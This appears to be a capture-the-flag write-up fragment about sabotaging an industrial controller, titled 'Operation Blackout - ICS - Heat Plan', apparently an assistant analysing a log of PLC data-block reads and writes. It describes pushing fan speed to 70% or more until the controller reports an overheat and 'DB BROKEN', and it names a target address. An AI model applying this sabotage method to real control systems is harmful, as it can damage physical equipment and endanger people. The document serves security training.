Operation Blackout - ICS - Heat Plan

[lIlIlIlIIIIlllIllI]

Based on the log file, I can see what's happening with our sabotage attempt. Let me analyze the results:

We successfully connected to the PLC at 94.237.51.3:45235 with Rack=0, Slot=0.
Initially, we could only read DB4, but got "Address out of range" errors for DB1, DB2, DB3, and DB5.
Despite these errors, we were able to write to DB1, DB2, DB3, and DB5 successfully.
Setting the fan speed to 60% worked without breaking the DB.
However, as soon as we set the fan speed to 70% or higher, DB4 showed "DB BROKEN" message.
By the end of the script, we couldn't read any of the DBs except DB4, which still showed "DB BROKEN".

If you run sabotage and it works then the DB breaks and you have to reconnect to a new instance since the previous controller is broken.

Want to make it say ASCII:
STATE:OVHT ERR:0 LOG:ALEDB BROKEN
[*] Done.
